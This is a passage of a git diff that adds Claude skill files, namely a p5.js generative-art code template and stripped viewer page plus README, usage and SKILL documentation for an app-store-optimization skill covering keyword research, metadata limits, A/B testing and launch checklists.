all HTML artifacts. + - This is the foundation - contains the exact structure and Anthropic branding + - **Keep unchanged**: Layout structure, sidebar organization, Anthropic colors/fonts, seed controls, action buttons + - **Replace**: The p5.js algorithm, parameter definitions, and UI controls in Parameters section + - The extensive comments in the file mark exactly what to keep vs replace + +- **templates/generator_template.js**: Reference for p5.js best practices and code structure principles. + - Shows how to organize parameters, use seeded randomness, structure classes + - NOT a pattern menu - use these principles to build unique algorithms + - Embed algorithms inline in the HTML artifact (don't create separate .js files) + +**Critical reminder**: +- The **template is the STARTING POINT**, not inspiration +- The **algorithm is where to create** something unique +- Don't copy the flow field example - build what the philosophy demands +- But DO keep the exact UI structure and Anthropic branding from the template \ No newline at end of file diff --git a/skills/algorithmic-art/templates/generator_template.js b/skills/algorithmic-art/templates/generator_template.js new file mode 100644 index 00000000..e263fbde --- /dev/null +++ b/skills/algorithmic-art/templates/generator_template.js @@ -0,0 +1,223 @@ +/** + * ═══════════════════════════════════════════════════════════════════════════ + * P5.JS GENERATIVE ART - BEST PRACTICES + * ═══════════════════════════════════════════════════════════════════════════ + * + * This file shows STRUCTURE and PRINCIPLES for p5.js generative art. + * It does NOT prescribe what art you should create. + * + * Your algorithmic philosophy should guide what you build. + * These are just best practices for how to structure your code. + * + * ═══════════════════════════════════════════════════════════════════════════ + */ + +// ============================================================================ +// 1. PARAMETER ORGANIZATION +// ============================================================================ +// Keep all tunable parameters in one object +// This makes it easy to: +// - Connect to UI controls +// - Reset to defaults +// - Serialize/save configurations + +let params = { + // Define parameters that match YOUR algorithm + // Examples (customize for your art): + // - Counts: how many elements (particles, circles, branches, etc.) + // - Scales: size, speed, spacing + // - Probabilities: likelihood of events + // - Angles: rotation, direction + // - Colors: palette arrays + + seed: 12345, + // define colorPalette as an array -- choose whatever colors you'd like ['#d97757', '#6a9bcc', '#788c5d', '#b0aea5'] + // Add YOUR parameters here based on your algorithm +}; + +// ============================================================================ +// 2. SEEDED RANDOMNESS (Critical for reproducibility) +// ============================================================================ +// ALWAYS use seeded random for Art Blocks-style reproducible output + +function initializeSeed(seed) { + randomSeed(seed); + noiseSeed(seed); + // Now all random() and noise() calls will be deterministic +} + +// ============================================================================ +// 3. P5.JS LIFECYCLE +// ============================================================================ + +function setup() { + createCanvas(800, 800); + + // Initialize seed first + initializeSeed(params.seed); + + // Set up your generative system + // This is where you initialize: + // - Arrays of objects + // - Grid structures + // - Initial positions + // - Starting states + + // For static art: call noLoop() at the end of setup + // For animated art: let draw() keep running +} + +function draw() { + // Option 1: Static generation (runs once, then stops) + // - Generate everything in setup() + // - Call noLoop() in setup() + // - draw() doesn't do much or can be empty + + // Option 2: Animated generation (continuous) + // - Update your system each frame + // - Common patterns: particle movement, growth, evolution + // - Can optionally call noLoop() after N frames + + // Option 3: User-triggered regeneration + // - Use noLoop() by default + // - Call redraw() when parameters change +} + +// ============================================================================ +// 4. CLASS STRUCTURE (When you need objects) +// ============================================================================ +// Use classes when your algorithm involves multiple entities +// Examples: particles, agents, cells, nodes, etc. + +class Entity { + constructor() { + // Initialize entity properties + // Use random() here - it will be seeded + } + + update() { + // Update entity state + // This might involve: + // - Physics calculations + // - Behavioral rules + // - Interactions with neighbors + } + + display() { + // Render the entity + // Keep rendering logic separate from update logic + } +} + +// ============================================================================ +// 5. PERFORMANCE CONSIDERATIONS +// ============================================================================ + +// For large numbers of elements: +// - Pre-calculate what you can +// - Use simple collision detection (spatial hashing if needed) +// - Limit expensive operations (sqrt, trig) when possible +// - Consider using p5 vectors efficiently + +// For smooth animation: +// - Aim for 60fps +// - Profile if things are slow +// - Consider reducing particle counts or simplifying calculations + +// ============================================================================ +// 6. UTILITY FUNCTIONS +// ============================================================================ + +// Color utilities +function hexToRgb(hex) { + const result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex); + return result ? { + r: parseInt(result[1], 16), + g: parseInt(result[2], 16), + b: parseInt(result[3], 16) + } : null; +} + +function colorFromPalette(index) { + return params.colorPalette[index % params.colorPalette.length]; +} + +// Mapping and easing +function mapRange(value, inMin, inMax, outMin, outMax) { + return outMin + (outMax - outMin) * ((value - inMin) / (inMax - inMin)); +} + +function easeInOutCubic(t) { + return t < 0.5 ? 4 * t * t * t : 1 - Math.pow(-2 * t + 2, 3) / 2; +} + +// Constrain to bounds +function wrapAround(value, max) { + if (value < 0) return max; + if (value > max) return 0; + return value; +} + +// ============================================================================ +// 7. PARAMETER UPDATES (Connect to UI) +// ============================================================================ + +function updateParameter(paramName, value) { + params[paramName] = value; + // Decide if you need to regenerate or just update + // Some params can update in real-time, others need full regeneration +} + +function regenerate() { + // Reinitialize your generative system + // Useful when parameters change significantly + initializeSeed(params.seed); + // Then regenerate your system +} + +// ============================================================================ +// 8. COMMON P5.JS PATTERNS +// ============================================================================ + +// Drawing with transparency for trails/fading +function fadeBackground(opacity) { + fill(250, 249, 245, opacity); // Anthropic light with alpha + noStroke(); + rect(0, 0, width, height); +} + +// Using noise for organic variation +function getNoiseValue(x, y, scale = 0.01) { + return noise(x * scale, y * scale); +} + +// Creating vectors from angles +function vectorFromAngle(angle, magnitude = 1) { + return createVector(cos(angle), sin(angle)).mult(magnitude); +} + +// ============================================================================ +// 9. EXPORT FUNCTIONS +// ============================================================================ + +function exportImage() { + saveCanvas('generative-art-' + params.seed, 'png'); +} + +// ============================================================================ +// REMEMBER +// ============================================================================ +// +// These are TOOLS and PRINCIPLES, not a recipe. +// Your algorithmic philosophy should guide WHAT you create. +// This structure helps you create it WELL. +// +// Focus on: +// - Clean, readable code +// - Parameterized for exploration +// - Seeded for reproducibility +// - Performant execution +// +// The art itself is entirely up to you! +// +// ============================================================================ \ No newline at end of file diff --git a/skills/algorithmic-art/templates/viewer.html b/skills/algorithmic-art/templates/viewer.html new file mode 100644 index 00000000..630cc1f6 --- /dev/null +++ b/skills/algorithmic-art/templates/viewer.html @@ -0,0 +1,599 @@ + + + + + + + Generative Art Viewer + + + + + + + +
+ + + + +
+
+
Initializing generative art...
+
+
+
+ + + + \ No newline at end of file diff --git a/skills/app-store-optimization/HOW_TO_USE.md b/skills/app-store-optimization/HOW_TO_USE.md new file mode 100644 index 00000000..67e68a8d --- /dev/null +++ b/skills/app-store-optimization/HOW_TO_USE.md @@ -0,0 +1,281 @@ +# How to Use the App Store Optimization Skill + +Hey Claude—I just added the "app-store-optimization" skill. Can you help me optimize my app's presence on the App Store and Google Play? + +## Example Invocations + +### Keyword Research + +**Example 1: Basic Keyword Research** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you research the best keywords for my productivity app? I'm targeting professionals who need task management and team collaboration features. +``` + +**Example 2: Competitive Keyword Analysis** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you analyze keywords that Todoist, Asana, and Monday.com are using? I want to find gaps and opportunities for my project management app. +``` + +### Metadata Optimization + +**Example 3: Optimize App Title** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you optimize my app title for the Apple App Store? My app is called "TaskFlow" and I want to rank for "task manager", "productivity", and "team collaboration". The title needs to be under 30 characters. +``` + +**Example 4: Full Metadata Package** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you create optimized metadata for both Apple App Store and Google Play Store? Here's my app info: +- Name: TaskFlow +- Category: Productivity +- Key features: AI task prioritization, team collaboration, calendar integration +- Target keywords: task manager, productivity app, team tasks +``` + +### Competitor Analysis + +**Example 5: Analyze Top Competitors** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you analyze the ASO strategies of the top 5 productivity apps in the App Store? I want to understand their title strategies, keyword usage, and visual asset approaches. +``` + +**Example 6: Identify Competitive Gaps** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you compare my app's ASO performance against competitors and identify what I'm missing? Here's my current metadata: [paste metadata] +``` + +### ASO Score Calculation + +**Example 7: Calculate Overall ASO Health** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you calculate my app's ASO health score? Here are my metrics: +- Average rating: 4.2 stars +- Total ratings: 3,500 +- Keywords in top 10: 3 +- Keywords in top 50: 12 +- Conversion rate: 4.5% +``` + +**Example 8: Identify Improvement Areas** +``` +Hey Claude—I just added the "app-store-optimization" skill. My ASO score is 62/100. Can you tell me which areas I should focus on first to improve my rankings and downloads? +``` + +### A/B Testing + +**Example 9: Plan Icon Test** +``` +Hey Claude—I just added the "app-store-optimization" skill. I want to A/B test two different app icons. My current conversion rate is 5%. Can you help me plan the test, calculate required sample size, and determine how long to run it? +``` + +**Example 10: Analyze Test Results** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you analyze my A/B test results? +- Variant A (control): 2,500 visitors, 125 installs +- Variant B (new icon): 2,500 visitors, 150 installs +Is this statistically significant? Should I implement variant B? +``` + +### Localization + +**Example 11: Plan Localization Strategy** +``` +Hey Claude—I just added the "app-store-optimization" skill. I currently only have English metadata. Which markets should I localize for first? I'm a bootstrapped startup with moderate budget. +``` + +**Example 12: Translate Metadata** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you help me translate my app metadata to Spanish for the Mexico market? Here's my English metadata: [paste metadata]. Check if it fits within character limits. +``` + +### Review Analysis + +**Example 13: Analyze User Reviews** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you analyze my recent reviews and tell me: +- Overall sentiment (positive/negative ratio) +- Most common complaints +- Most requested features +- Bugs that need immediate fixing +``` + +**Example 14: Generate Review Response Templates** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you create professional response templates for: +- Users reporting crashes +- Feature requests +- Positive 5-star reviews +- General complaints +``` + +### Launch Planning + +**Example 15: Pre-Launch Checklist** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you generate a comprehensive pre-launch checklist for both Apple App Store and Google Play Store? My launch date is December 1, 2025. +``` + +**Example 16: Optimize Launch Timing** +``` +Hey Claude—I just added the "app-store-optimization" skill. What's the best day and time to launch my fitness app? I want to maximize visibility and downloads in the first week. +``` + +**Example 17: Plan Seasonal Campaign** +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you identify seasonal opportunities for my fitness app? It's currently October—what campaigns should I run for the next 6 months? +``` + +## What to Provide + +### For Keyword Research +- App name and category +- Target audience description +- Key features and unique value proposition +- Competitor apps (optional) +- Geographic markets to target + +### For Metadata Optimization +- Current app name +- Platform (Apple, Google, or both) +- Target keywords (prioritized list) +- Key features and benefits +- Target audience +- Current metadata (for optimization) + +### For Competitor Analysis +- Your app category +- List of competitor app names or IDs +- Platform (Apple or Google) +- Specific aspects to analyze (keywords, visuals, ratings) + +### For ASO Score Calculation +- Metadata quality metrics (title length, description length, keyword density) +- Rating data (average rating, total ratings, recent ratings) +- Keyword rankings (top 10, top 50, top 100 counts) +- Conversion metrics (impression-to-install rate, downloads) + +### For A/B Testing +- Test type (icon, screenshot, title, description) +- Control variant details +- Test variant details +- Baseline conversion rate +- For results analysis: visitor and conversion counts for both variants + +### For Localization +- Current market and language +- Budget level (low, medium, high) +- Target number of markets +- Current metadata text for translation + +### For Review Analysis +- Recent reviews (text, rating, date) +- Platform (Apple or Google) +- Time period to analyze +- Specific focus (bugs, features, sentiment) + +### For Launch Planning +- Platform (Apple, Google, or both) +- Target launch date +- App category +- App information (name, features, target audience) + +## What You'll Get + +### Keyword Research Output +- Prioritized keyword list with search volume estimates +- Competition level analysis +- Relevance scores +- Long-tail keyword opportunities +- Strategic recommendations + +### Metadata Optimization Output +- Optimized titles (multiple options) +- Optimized descriptions (short and full) +- Keyword field optimization (Apple) +- Character count validation +- Keyword density analysis +- Before/after comparison + +### Competitor Analysis Output +- Ranked competitors by ASO strength +- Common keyword patterns +- Keyword gaps and opportunities +- Visual asset assessment +- Best practices identified +- Actionable recommendations + +### ASO Score Output +- Overall score (0-100) +- Breakdown by category (metadata, ratings, keywords, conversion) +- Strengths and weaknesses +- Prioritized action items +- Expected impact of improvements + +### A/B Test Output +- Test design with hypothesis +- Required sample size calculation +- Duration estimates +- Statistical significance analysis +- Implementation recommendations +- Learnings and insights + +### Localization Output +- Prioritized target markets +- Estimated translation costs +- ROI projections +- Character limit validation for each language +- Cultural adaptation recommendations +- Phased implementation plan + +### Review Analysis Output +- Sentiment distribution (positive/neutral/negative) +- Common themes and topics +- Top issues requiring fixes +- Most requested features +- Response templates +- Trend analysis over time + +### Launch Planning Output +- Platform-specific checklists (Apple, Google, Universal) +- Timeline with milestones +- Compliance validation +- Optimal launch timing recommendations +- Seasonal campaign opportunities +- Update cadence planning + +## Tips for Best Results + +1. **Be Specific**: Provide as much detail about your app as possible +2. **Include Context**: Share your goals (increase downloads, improve ranking, boost conversion) +3. **Provide Data**: Real metrics enable more accurate analysis +4. **Iterate**: Start with keyword research, then optimize metadata, then test +5. **Track Results**: Monitor changes after implementing recommendations +6. **Stay Compliant**: Always verify recommendations against current App Store/Play Store guidelines +7. **Test First**: Use A/B testing before making major metadata changes +8. **Localize Strategically**: Start with highest-ROI markets first +9. **Respond to Reviews**: Use provided templates to engage with users +10. **Plan Ahead**: Use launch checklists and timelines to avoid last-minute rushes + +## Common Workflows + +### New App Launch +1. Keyword research → Competitor analysis → Metadata optimization → Pre-launch checklist → Launch timing optimization + +### Improving Existing App +1. ASO score calculation → Identify gaps → Metadata optimization → A/B testing → Review analysis → Implement changes + +### International Expansion +1. Localization planning → Market prioritization → Metadata translation → ROI analysis → Phased rollout + +### Ongoing Optimization +1. Monthly keyword ranking tracking → Quarterly metadata updates → Continuous A/B testing → Review monitoring → Seasonal campaigns + +## Need Help? + +If you need clarification on any aspect of ASO or want to combine multiple analyses, just ask! For example: + +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you create a complete ASO strategy for my new productivity app? I need keyword research, optimized metadata for both stores, a pre-launch checklist, and launch timing recommendations. +``` + +The skill can handle comprehensive, multi-phase ASO projects as well as specific tactical optimizations. diff --git a/skills/app-store-optimization/README.md b/skills/app-store-optimization/README.md new file mode 100644 index 00000000..d22441d2 --- /dev/null +++ b/skills/app-store-optimization/README.md @@ -0,0 +1,430 @@ +# App Store Optimization (ASO) Skill + +**Version**: 1.0.0 +**Last Updated**: November 7, 2025 +**Author**: Claude Skills Factory + +## Overview + +A comprehensive App Store Optimization (ASO) skill that provides complete capabilities for researching, optimizing, and tracking mobile app performance on the Apple App Store and Google Play Store. This skill empowers app developers and marketers to maximize their app's visibility, downloads, and success in competitive app marketplaces. + +## What This Skill Does + +This skill provides end-to-end ASO capabilities across seven key areas: + +1. **Research & Analysis**: Keyword research, competitor analysis, market trends, review sentiment +2. **Metadata Optimization**: Title, description, keywords with platform-specific character limits +3. **Conversion Optimization**: A/B testing framework, visual asset optimization +4. **Rating & Review Management**: Sentiment analysis, response strategies, issue identification +5. **Launch & Update Strategies**: Pre-launch checklists, timing optimization, update planning +6. **Analytics & Tracking**: ASO scoring, keyword rankings, performance benchmarking +7. **Localization**: Multi-language strategy, translation management, ROI analysis + +## Key Features + +### Comprehensive Keyword Research +- Search volume and competition analysis +- Long-tail keyword discovery +- Competitor keyword extraction +- Keyword difficulty scoring +- Strategic prioritization + +### Platform-Specific Metadata Optimization +- **Apple App Store**: + - Title (30 chars) + - Subtitle (30 chars) + - Promotional Text (170 chars) + - Description (4000 chars) + - Keywords field (100 chars) +- **Google Play Store**: + - Title (50 chars) + - Short Description (80 chars) + - Full Description (4000 chars) +- Character limit validation +- Keyword density analysis +- Multiple optimization strategies + +### Competitor Intelligence +- Automated competitor discovery +- Metadata strategy analysis +- Visual asset assessment +- Gap identification +- Competitive positioning + +### ASO Health Scoring +- 0-100 overall score +- Four-category breakdown (Metadata, Ratings, Keywords, Conversion) +- Strengths and weaknesses identification +- Prioritized action recommendations +- Expected impact estimates + +### Scientific A/B Testing +- Test design and hypothesis formulation +- Sample size calculation +- Statistical significance analysis +- Duration estimation +- Implementation recommendations + +### Global Localization +- Market prioritization (Tier 1/2/3) +- Translation cost estimation +- Character limit adaptation by language +- Cultural keyword considerations +- ROI analysis + +### Review Intelligence +- Sentiment analysis +- Common theme extraction +- Bug and issue identification +- Feature request clustering +- Professional response templates + +### Launch Planning +- Platform-specific checklists +- Timeline generation +- Compliance validation +- Optimal timing recommendations +- Seasonal campaign planning + +## Python Modules + +This skill includes 8 powerful Python modules: + +### 1. keyword_analyzer.py +**Purpose**: Analyzes keywords for search volume, competition, and relevance + +**Key Functions**: +- `analyze_keyword()`: Single keyword analysis +- `compare_keywords()`: Multi-keyword comparison and ranking +- `find_long_tail_opportunities()`: Generate long-tail variations +- `calculate_keyword_density()`: Analyze keyword usage in text +- `extract_keywords_from_text()`: Extract keywords from reviews/descriptions + +### 2. metadata_optimizer.py +**Purpose**: Optimizes titles, descriptions, keywords with character limit validation + +**Key Functions**: +- `optimize_title()`: Generate optimal title options +- `optimize_description()`: Create conversion-focused descriptions +- `optimize_keyword_field()`: Maximize Apple's 100-char keyword field +- `validate_character_limits()`: Ensure platform compliance +- `calculate_keyword_density()`: Analyze keyword integration + +### 3. competitor_analyzer.py +**Purpose**: Analyzes competitor ASO strategies + +**Key Functions**: +- `analyze_competitor()`: Single competitor deep-dive +- `compare_competitors()`: Multi-competitor analysis +- `identify_gaps()`: Find competitive opportunities +- `_calculate_competitive_strength()`: Score competitor ASO quality + +### 4. aso_scorer.py +**Purpose**: Calculates comprehensive ASO health score + +**Key Functions**: +- `calculate_overall_score()`: 0-100 ASO health score +- `score_metadata_quality()`: Evaluate metadata optimization +- `score_ratings_reviews()`: Assess rating quality and volume +- `score_keyword_performance()`: Analyze ranking positions +- `score_conversion_metrics()`: Evaluate conversion rates +- `generate_recommendations()`: Prioritized improvement actions + +### 5. ab_test_planner.py +**Purpose**: Plans and tracks A/B tests for ASO elements + +**Key Functions**: +- `design_test()`: Create test hypothesis and structure +- `calculate_sample_size()`: Determine required visitors +- `calculate_significance()`: Assess statistical validity +- `track_test_results()`: Monitor ongoing tests +- `generate_test_report()`: Create comprehensive test reports + +### 6. localization_helper.py +**Purpose**: Manages multi-language ASO optimization + +**Key Functions**: +- `identify_target_markets()`: Prioritize localization markets +- `translate_metadata()`: Adapt metadata for languages +- `adapt_keywords()`: Cultural keyword adaptation +- `validate_translations()`: Character limit validation +- `calculate_localization_roi()`: Estimate investment returns + +### 7. review_analyzer.py +**Purpose**: Analyzes user reviews for actionable insights + +**Key Functions**: +- `analyze_sentiment()`: Calculate sentiment distribution +- `extract_common_themes()`: Identify frequent topics +- `identify_issues()`: Surface bugs and problems +- `find_feature_requests()`: Extract desired features +- `track_sentiment_trends()`: Monitor changes over time +- `generate_response_templates()`: Create review responses + +### 8. launch_checklist.py +**Purpose**: Generates comprehensive launch and update checklists + +**Key Functions**: +- `generate_prelaunch_checklist()`: Complete submission validation +- `validate_app_store_compliance()`: Check guidelines compliance +- `create_update_plan()`: Plan update cadence +- `optimize_launch_timing()`: Recommend launch dates +- `plan_seasonal_campaigns()`: Identify seasonal opportunities + +## Installation + +### For Claude Code (Desktop/CLI) + +#### Project-Level Installation +```bash +# Copy skill folder to project +cp -r app-store-optimization /path/to/your/project/.claude/skills/ + +# Claude will auto-load the skill when working in this project +``` + +#### User-Level Installation (Available in All Projects) +```bash +# Copy skill folder to user-level skills +cp -r app-store-optimization ~/.claude/skills/ + +# Claude will load this skill in all your projects +``` + +### For Claude Apps (Browser) + +1. Use the `skill-creator` skill to import the skill +2. Or manually import via Claude Apps interface + +### Verification + +To verify installation: +```bash +# Check if skill folder exists +ls ~/.claude/skills/app-store-optimization/ + +# You should see: +# SKILL.md +# keyword_analyzer.py +# metadata_optimizer.py +# competitor_analyzer.py +# aso_scorer.py +# ab_test_planner.py +# localization_helper.py +# review_analyzer.py +# launch_checklist.py +# sample_input.json +# expected_output.json +# HOW_TO_USE.md +# README.md +``` + +## Usage Examples + +### Example 1: Complete Keyword Research + +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you research keywords for my fitness app? I'm targeting people who want home workouts, yoga, and meal planning. Analyze top competitors like Nike Training Club and Peloton. +``` + +**What Claude will do**: +- Use `keyword_analyzer.py` to research keywords +- Use `competitor_analyzer.py` to analyze Nike Training Club and Peloton +- Provide prioritized keyword list with search volumes, competition levels +- Identify gaps and long-tail opportunities +- Recommend primary keywords for title and secondary keywords for description + +### Example 2: Optimize App Store Metadata + +``` +Hey Claude—I just added the "app-store-optimization" skill. Optimize my app's metadata for both Apple App Store and Google Play Store: +- App: FitFlow +- Category: Health & Fitness +- Features: AI workout plans, nutrition tracking, progress photos +- Keywords: fitness app, workout planner, home fitness +``` + +**What Claude will do**: +- Use `metadata_optimizer.py` to create optimized titles (multiple options) +- Generate platform-specific descriptions (short and full) +- Optimize Apple's 100-character keyword field +- Validate all character limits +- Calculate keyword density +- Provide before/after comparison + +### Example 3: Calculate ASO Health Score + +``` +Hey Claude—I just added the "app-store-optimization" skill. Calculate my app's ASO score: +- Average rating: 4.3 stars (8,200 ratings) +- Keywords in top 10: 4 +- Keywords in top 50: 15 +- Conversion rate: 3.8% +- Title: "FitFlow - Home Workouts" +- Description: 1,500 characters with 3 keyword mentions +``` + +**What Claude will do**: +- Use `aso_scorer.py` to calculate overall score (0-100) +- Break down by category (Metadata: X/25, Ratings: X/25, Keywords: X/25, Conversion: X/25) +- Identify strengths and weaknesses +- Generate prioritized recommendations +- Estimate impact of improvements + +### Example 4: A/B Test Planning + +``` +Hey Claude—I just added the "app-store-optimization" skill. I want to A/B test my app icon. My current conversion rate is 4.2%. How many visitors do I need and how long should I run the test? +``` + +**What Claude will do**: +- Use `ab_test_planner.py` to design test +- Calculate required sample size (based on minimum detectable effect) +- Estimate test duration for low/medium/high traffic scenarios +- Provide test structure and success metrics +- Explain how to analyze results + +### Example 5: Review Sentiment Analysis + +``` +Hey Claude—I just added the "app-store-optimization" skill. Analyze my last 500 reviews and tell me: +- Overall sentiment +- Most common complaints +- Top feature requests +- Bugs needing immediate fixes +``` + +**What Claude will do**: +- Use `review_analyzer.py` to process reviews +- Calculate sentiment distribution +- Extract common themes +- Identify and prioritize issues +- Cluster feature requests +- Generate response templates + +### Example 6: Pre-Launch Checklist + +``` +Hey Claude—I just added the "app-store-optimization" skill. Generate a complete pre-launch checklist for both app stores. My launch date is March 15, 2026. +``` + +**What Claude will do**: +- Use `launch_checklist.py` to generate checklists +- Create Apple App Store checklist (metadata, assets, technical, legal) +- Create Google Play Store checklist (metadata, assets, technical, legal) +- Add universal checklist (marketing, QA, support) +- Generate timeline with milestones +- Calculate completion percentage + +## Best Practices + +### Keyword Research +1. Start with 20-30 seed keywords +2. Analyze top 5 competitors in your category +3. Balance high-volume and long-tail keywords +4. Prioritize relevance over search volume +5. Update keyword research quarterly + +### Metadata Optimization +1. Front-load keywords in title (first 15 characters most important) +2. Use every available character (don't waste space) +3. Write for humans first, search engines second +4. A/B test major changes before committing +5. Update descriptions with each major release + +### A/B Testing +1. Test one element at a time (icon vs. screenshots vs. title) +2. Run tests to statistical significance (90%+ confidence) +3. Test high-impact elements first (icon has biggest impact) +4. Allow sufficient duration (at least 1 week, preferably 2-3) +5. Document learnings for future tests + +### Localization +1. Start with top 5 revenue markets (US, China, Japan, Germany, UK) +2. Use professional translators, not machine translation +3. Test translations with native speakers +4. Adapt keywords for cultural context +5. Monitor ROI by market + +### Review Management +1. Respond to reviews within 24-48 hours +2. Always be professional, even with negative reviews +3. Address specific issues raised +4. Thank users for positive feedback +5. Use insights to prioritize product improvements + +## Technical Requirements + +- **Python**: 3.7+ (for Python modules) +- **Platform Support**: Apple App Store, Google Play Store +- **Data Formats**: JSON input/output +- **Dependencies**: Standard library only (no external packages required) + +## Limitations + +### Data Dependencies +- Keyword search volumes are estimates (no official Apple/Google data) +- Competitor data limited to publicly available information +- Review analysis requires access to public reviews +- Historical data may not be available for new apps + +### Platform Constraints +- Apple: Metadata changes require app submission (except Promotional Text) +- Google: Metadata changes take 1-2 hours to index +- A/B testing requires significant traffic for statistical significance +- Store algorithms are proprietary and change without notice + +### Scope +- Does not include paid user acquisition (Apple Search Ads, Google Ads) +- Does not cover in-app analytics implementation +- Does not handle technical app development +- Focuses on organic discovery and conversion optimization + +## Troubleshooting + +### Issue: Python modules not found +**Solution**: Ensure all .py files are in the same directory as SKILL.md + +### Issue: Character limit validation failing +**Solution**: Check that you're using the correct platform ('apple' or 'google') + +### Issue: Keyword research returning limited results +**Solution**: Provide more context about your app, features, and target audience + +### Issue: ASO score seems inaccurate +**Solution**: Ensure you're providing accurate metrics (ratings, keyword rankings, conversion rate) + +## Version History + +### Version 1.0.0 (November 7, 2025) +- Initial release +- 8 Python modules with comprehensive ASO capabilities +- Support for both Apple App Store and Google Play Store +- Keyword research, metadata optimization, competitor analysis +- ASO scoring, A/B testing, localization, review analysis +- Launch planning and seasonal campaign tools + +## Support & Feedback + +This skill is designed to help app developers and marketers succeed in competitive app marketplaces. For the best results: + +1. Provide detailed context about your app +2. Include specific metrics when available +3. Ask follow-up questions for clarification +4. Iterate based on results + +## Credits + +Developed by Claude Skills Factory +Based on industry-standard ASO best practices +Platform requirements current as of November 2025 + +## License + +This skill is provided as-is for use with Claude Code and Claude Apps. Customize and extend as needed for your specific use cases. + +--- + +**Ready to optimize your app?** Start with keyword research, then move to metadata optimization, and finally implement A/B testing for continuous improvement. The skill handles everything from pre-launch planning to ongoing optimization. + +For detailed usage examples, see [HOW_TO_USE.md](HOW_TO_USE.md). diff --git a/skills/app-store-optimization/SKILL.md b/skills/app-store-optimization/SKILL.md new file mode 100644 index 00000000..c6fc1397 --- /dev/null +++ b/skills/app-store-optimization/SKILL.md @@ -0,0 +1,403 @@ +--- +name: app-store-optimization +description: Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store +--- + +# App Store Optimization (ASO) Skill + +This comprehensive skill provides complete ASO capabilities for successfully launching and optimizing mobile applications on the Apple App Store and Google Play Store. + +## Capabilities + +### Research & Analysis +- **Keyword Research**: Analyze keyword volume, competition, and relevance for app discovery +- **Competitor Analysis**: Deep-dive into top-performing apps in your category +- **Market Trend Analysis**: Identify emerging trends and opportunities in your app category +- **Review Sentiment Analysis**: Extract insights from user reviews to identify strengths and issues +- **Category Analysis**: Evaluate optimal category and subcategory placement strategies + +### Metadata Optimization +- **Title Optimization**: Create compelling titles with optimal keyword placement (platform-specific character limits) +- **Description Optimization**: Craft both short and full descriptions that convert and rank +- **Subtitle/Promotional Text**: Optimize Apple-specific subtitle (30 chars) and promotional text (170 chars) +- **Keyword Field**: Maximize Apple's 100-character keyword field with strategic selection +- **Category Selection**: Data-driven recommendations for primary and secondary categories +- **Icon Best Practices**: Guidelines for designing high-converting app icons +- **Screenshot Optimization**: Strategies for creating screenshots that drive installs +- **Preview Video**: Best practices for app preview videos +- **Localization**: Multi-language optimization strategies for global reach + +### Conversion Optimization +- **A/B Testing Framework**: Plan and track metadata experiments for continuous improvement +- **Visual Asset Testing**: Test icons, screenshots, and videos for maximum conversion +- **Store Listing Optimization**: Comprehensive page optimization for impression-to-install conversion +- **Call-to-Action**: Optimize CTAs in descriptions and promotional materials + +### Rating & Review Management +- **Review Monitoring**: Track and analyze user reviews for actionable insights +- **Response Strategies**: Templates and best practices for responding to reviews +- **Rating Improvement**: Tactical approaches to improve app ratings organically +- **Issue Identification**: Surface common problems and feature requests from reviews + +### Launch & Update Strategies +- **Pre-Launch Checklist**: Complete validation before submitting to stores +- **Launch Timing**: Optimize release timing for maximum visibility and downloads +- **Update Cadence**: Plan optimal update frequency and feature rollouts +- **Feature Announcements**: Craft "What's New" sections that re-engage users +- **Seasonal Optimization**: Leverage seasonal trends and events + +### Analytics & Tracking +- **ASO Score**: Calculate overall ASO health score across multiple factors +- **Keyword Rankings**: Track keyword position changes over time +- **Conversion Metrics**: Monitor impression-to-install conversion rates +- **Download Velocity**: Track download trends and momentum +- **Performance Benchmarking**: Compare against category averages and competitors + +### Platform-Specific Requirements +- **Apple App Store**: + - Title: 30 characters + - Subtitle: 30 characters + - Promotional Text: 170 characters (editable without app update) + - Description: 4,000 characters + - Keywords: 100 characters (comma-separated, no spaces) + - What's New: 4,000 characters +- **Google Play Store**: + - Title: 50 characters (formerly 30, increased in 2021) + - Short Description: 80 characters + - Full Description: 4,000 characters + - No separate keyword field (keywords extracted from title and description) + +## Input Requirements + +### Keyword Research +```json +{ + "app_name": "MyApp", + "category": "Productivity", + "target_keywords": ["task manager", "productivity", "todo list"], + "competitors": ["Todoist", "Any.do", "Microsoft To Do"], + "language": "en-US" +} +``` + +### Metadata Optimization +```json +{ + "platform": "apple" | "google", + "app_info": { + "name": "MyApp", + "category": "Productivity", + "target_audience": "Professionals aged 25-45", + "key_features": ["Task management", "Team collaboration", "AI assistance"], + "unique_value": "AI-powered task prioritization" + }, + "current_metadata": { + "title": "Current Title", + "subtitle": "Current Subtitle", + "description": "Current description..." + }, + "target_keywords": ["productivity", "task manager", "todo"] +} +``` + +### Review Analysis +```json +{ + "app_id": "com.myapp.app", + "platform": "apple" | "google", + "date_range": "last_30_days" | "last_90_days" | "all_time", + "rating_filter": [1, 2, 3, 4, 5], + "language": "en" +} +``` + +### ASO Score Calculation +```json +{ + "metadata": { + "title_quality": 0.8, + "description_quality": 0.7, + "keyword_density": 0.6 + }, + "ratings": { + "average_rating": 4.5, + "total_ratings": 15000 + }, + "conversion": { + "impression_to_install": 0.05 + }, + "keyword_rankings": { + "top_10": 5, + "top_50": 12, + "top_100": 18 + } +} +``` + +## Output Formats + +### Keyword Research Report +- List of recommended keywords with search volume estimates +- Competition level analysis (low/medium/high) +- Relevance scores for each keyword +- Strategic recommendations for primary vs. secondary keywords +- Long-tail keyword opportunities + +### Optimized Metadata Package +- Platform-specific title (with character count validation) +- Subtitle/promotional text (Apple) +- Short description (Google) +- Full description (both platforms) +- Keyword field (Apple - 100 chars) +- Character count 